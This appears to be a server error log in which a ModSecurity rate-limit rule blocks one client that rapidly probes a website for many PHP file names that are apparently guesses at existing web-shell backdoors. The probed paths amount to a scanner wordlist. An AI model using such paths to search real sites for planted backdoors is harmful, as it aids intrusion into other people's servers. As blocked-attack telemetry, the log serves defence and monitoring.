[Fri Mar 27 18:17:18.181487 2026] [:error] [pid 4293:tid 4316] [client 20.91.226.172:8167] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acZZLpLjeJUC3OKtEx83VwAAAVU"]
[Fri Mar 27 18:17:18.771066 2026] [:error] [pid 4341:tid 4345] [client 20.91.226.172:15589] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acZZLuKJWrNB5dMlERF4wQAAAYI"]
[Fri Mar 27 18:17:19.335287 2026] [:error] [pid 27851:tid 27858] [client 20.91.226.172:22559] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acZZL3R2ccxe3RMCLbrWLQAAAMA"]
[Fri Mar 27 18:17:19.892185 2026] [:error] [pid 27743:tid 27766] [client 20.91.226.172:2730] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "acZZLyA46UYYLqzw99Ct1QAAAAI"]
[Fri Mar 27 18:17:20.480339 2026] [:error] [pid 4293:tid 4316] [client 20.91.226.172:11657] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/file.php"] [unique_id "acZZMJLjeJUC3OKtEx83YgAAAVU"]
[Fri Mar 27 18:17:21.108462 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:15559] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/file.php"] [unique_id "acZZMZLjeJUC3OKtEx83aAAAAVE"]
[Fri Mar 27 18:17:21.646163 2026] [:error] [pid 27743:tid 27787] [client 20.91.226.172:2715] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/file.php"] [unique_id "acZZMSA46UYYLqzw99Ct4gAAABc"]
[Fri Mar 27 18:17:22.234437 2026] [:error] [pid 4293:tid 4299] [client 20.91.226.172:8018] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/file.php"] [unique_id "acZZMpLjeJUC3OKtEx83bgAAAUQ"]
[Fri Mar 27 18:17:22.788550 2026] [:error] [pid 4293:tid 4307] [client 20.91.226.172:26075] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acZZMpLjeJUC3OKtEx83bwAAAUw"]
[Fri Mar 27 18:17:23.326553 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:2884] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acZZM5LjeJUC3OKtEx83cQAAAVM"]
[Fri Mar 27 18:17:23.900176 2026] [:error] [pid 4341:tid 4354] [client 20.91.226.172:15774] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acZZM-KJWrNB5dMlERF4ygAAAYs"]
[Fri Mar 27 18:17:24.468666 2026] [:error] [pid 27743:tid 27779] [client 20.91.226.172:8026] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "acZZNCA46UYYLqzw99Ct5wAAAA8"]
[Fri Mar 27 18:17:25.026117 2026] [:error] [pid 63897:tid 63914] [client 20.91.226.172:15787] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acZZNWVSkmYmLu7ycYgvpgAAAQ8"]
[Fri Mar 27 18:17:25.565049 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:8160] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acZZNZLjeJUC3OKtEx83eAAAAVY"]
[Fri Mar 27 18:17:26.137903 2026] [:error] [pid 4293:tid 4304] [client 20.91.226.172:15588] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acZZNpLjeJUC3OKtEx83fQAAAUk"]
[Fri Mar 27 18:17:26.691848 2026] [:error] [pid 4293:tid 4305] [client 20.91.226.172:22546] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "acZZNpLjeJUC3OKtEx83ggAAAUo"]
[Fri Mar 27 18:17:27.272943 2026] [:error] [pid 4341:tid 4366] [client 20.91.226.172:65115] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "acZZN-KJWrNB5dMlERF42wAAAZc"]
[Fri Mar 27 18:17:27.803408 2026] [:error] [pid 27749:tid 27796] [client 20.91.226.172:8146] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "acZZN8EqyoMni2Q6_X7gvQAAAEU"]
[Fri Mar 27 18:17:28.364798 2026] [:error] [pid 27750:tid 27835] [client 20.91.226.172:65135] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "acZZOIaSil5rd17ieLzb1QAAAJE"]
[Fri Mar 27 18:17:28.955810 2026] [:error] [pid 27750:tid 27833] [client 20.91.226.172:15556] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "acZZOIaSil5rd17ieLzb1gAAAI8"]
[Fri Mar 27 18:17:29.521140 2026] [:error] [pid 4293:tid 4307] [client 20.91.226.172:9151] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acZZOZLjeJUC3OKtEx83hgAAAUw"]
[Fri Mar 27 18:17:30.061472 2026] [:error] [pid 27851:tid 27863] [client 20.91.226.172:8052] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acZZOnR2ccxe3RMCLbrWQAAAAMU"]
[Fri Mar 27 18:17:30.630058 2026] [:error] [pid 63897:tid 63918] [client 20.91.226.172:21037] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acZZOmVSkmYmLu7ycYgvsgAAARM"]
[Fri Mar 27 18:17:31.162504 2026] [:error] [pid 63897:tid 63917] [client 20.91.226.172:22568] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "acZZO2VSkmYmLu7ycYgvtQAAARI"]
[Fri Mar 27 18:17:31.724149 2026] [:error] [pid 63897:tid 63913] [client 20.91.226.172:17372] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acZZO2VSkmYmLu7ycYgvuAAAAQ4"]
[Fri Mar 27 18:17:32.303558 2026] [:error] [pid 27750:tid 27825] [client 20.91.226.172:17305] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acZZPIaSil5rd17ieLzb4QAAAIc"]
[Fri Mar 27 18:17:32.858774 2026] [:error] [pid 27743:tid 27784] [client 20.91.226.172:17352] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acZZPCA46UYYLqzw99Ct-QAAABQ"]
[Fri Mar 27 18:17:33.430699 2026] [:error] [pid 27749:tid 27796] [client 20.91.226.172:65108] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "acZZPcEqyoMni2Q6_X7gzgAAAEU"]
[Fri Mar 27 18:17:33.959284 2026] [:error] [pid 27750:tid 27833] [client 20.91.226.172:2707] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acZZPYaSil5rd17ieLzb5gAAAI8"]
[Fri Mar 27 18:17:34.497103 2026] [:error] [pid 63897:tid 63907] [client 20.91.226.172:15788] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acZZPmVSkmYmLu7ycYgvuwAAAQg"]
[Fri Mar 27 18:17:35.034713 2026] [:error] [pid 63897:tid 63904] [client 20.91.226.172:35012] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acZZP2VSkmYmLu7ycYgvvgAAAQU"]
[Fri Mar 27 18:17:35.582852 2026] [:error] [pid 63897:tid 63921] [client 20.91.226.172:16933] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "acZZP2VSkmYmLu7ycYgvwgAAARY"]
[Fri Mar 27 18:17:36.201169 2026] [:error] [pid 27743:tid 27776] [client 20.91.226.172:65143] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "acZZQCA46UYYLqzw99CuAAAAAAw"]
[Fri Mar 27 18:17:36.728083 2026] [:error] [pid 27750:tid 27832] [client 20.91.226.172:17355] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "acZZQIaSil5rd17ieLzb8AAAAI4"]
[Fri Mar 27 18:17:37.276156 2026] [:error] [pid 4293:tid 4311] [client 20.91.226.172:26827] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "acZZQZLjeJUC3OKtEx83jgAAAVA"]
[Fri Mar 27 18:17:37.835382 2026] [:error] [pid 4341:tid 4359] [client 20.91.226.172:18019] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws60.php"] [unique_id "acZZQeKJWrNB5dMlERF48QAAAZA"]
[Fri Mar 27 18:17:38.384020 2026] [:error] [pid 27743:tid 27780] [client 20.91.226.172:18014] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "acZZQiA46UYYLqzw99CuAgAAABA"]
[Fri Mar 27 18:17:38.970753 2026] [:error] [pid 27743:tid 27784] [client 20.91.226.172:15761] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "acZZQiA46UYYLqzw99CuBAAAABQ"]
[Fri Mar 27 18:17:39.535833 2026] [:error] [pid 63897:tid 63922] [client 20.91.226.172:21011] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "acZZQ2VSkmYmLu7ycYgvzAAAARc"]
[Fri Mar 27 18:17:40.065029 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:18019] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vanda.php"] [unique_id "acZZRCA46UYYLqzw99CuBwAAABI"]
[Fri Mar 27 18:17:40.605011 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:17986] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "acZZRJLjeJUC3OKtEx83lQAAAVg"]
[Fri Mar 27 18:17:41.240682 2026] [:error] [pid 27750:tid 27830] [client 20.91.226.172:15602] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "acZZRYaSil5rd17ieLzcBAAAAIw"]
[Fri Mar 27 18:17:41.847924 2026] [:error] [pid 27851:tid 27871] [client 20.91.226.172:61905] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "acZZRXR2ccxe3RMCLbrWSAAAAM0"]
[Fri Mar 27 18:17:42.414298 2026] [:error] [pid 4293:tid 4295] [client 20.91.226.172:26063] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "acZZRpLjeJUC3OKtEx83nQAAAUA"]
[Fri Mar 27 18:17:43.026475 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:35049] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "acZZR5LjeJUC3OKtEx83owAAAUs"]
[Fri Mar 27 18:17:43.652037 2026] [:error] [pid 4293:tid 4313] [client 20.91.226.172:8046] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "acZZR5LjeJUC3OKtEx83qAAAAVI"]
[Fri Mar 27 18:17:44.277914 2026] [:error] [pid 63897:tid 63906] [client 20.91.226.172:17392] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "acZZSGVSkmYmLu7ycYgv0wAAAQc"]
[Fri Mar 27 18:17:44.844892 2026] [:error] [pid 63897:tid 63910] [client 20.91.226.172:26865] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/144.php"] [unique_id "acZZSGVSkmYmLu7ycYgv1AAAAQs"]
[Fri Mar 27 18:17:45.424441 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:11683] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acZZSZLjeJUC3OKtEx83sQAAAUU"]
[Fri Mar 27 18:17:45.991279 2026] [:error] [pid 27749:tid 27812] [client 20.91.226.172:10640] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acZZScEqyoMni2Q6_X7g2AAAAFU"]
[Fri Mar 27 18:17:46.584438 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:26081] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "acZZSiA46UYYLqzw99CuEgAAABI"]
[Fri Mar 27 18:17:47.170213 2026] [proxy_fcgi:error] [pid 4341:tid 4367] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:47.436580 2026] [proxy_fcgi:error] [pid 4341:tid 4362] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:47.702888 2026] [proxy_fcgi:error] [pid 4341:tid 4366] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:47.967929 2026] [proxy_fcgi:error] [pid 4341:tid 4354] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:49.393557 2026] [proxy_fcgi:error] [pid 4341:tid 4346] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:49.671864 2026] [proxy_fcgi:error] [pid 4341:tid 4357] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:49.937570 2026] [proxy_fcgi:error] [pid 4341:tid 4349] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:50.202067 2026] [proxy_fcgi:error] [pid 4341:tid 4367] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:50.466956 2026] [proxy_fcgi:error] [pid 4341:tid 4343] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:50.733888 2026] [proxy_fcgi:error] [pid 4341:tid 4365] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:51.002340 2026] [proxy_fcgi:error] [pid 4341:tid 4358] [client 20.91.226.172:17345] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:17:51.263507 2026] [:error] [pid 4341:tid 4353] [client 20.91.226.172:17345] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acZZT-KJWrNB5dMlERF5EgAAAYo"]
[Fri Mar 27 18:17:51.840878 2026] [:error] [pid 27743:tid 27783] [client 20.91.226.172:64157] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6kDPjgFTmvS.php"] [unique_id "acZZTyA46UYYLqzw99CuKgAAABM"]
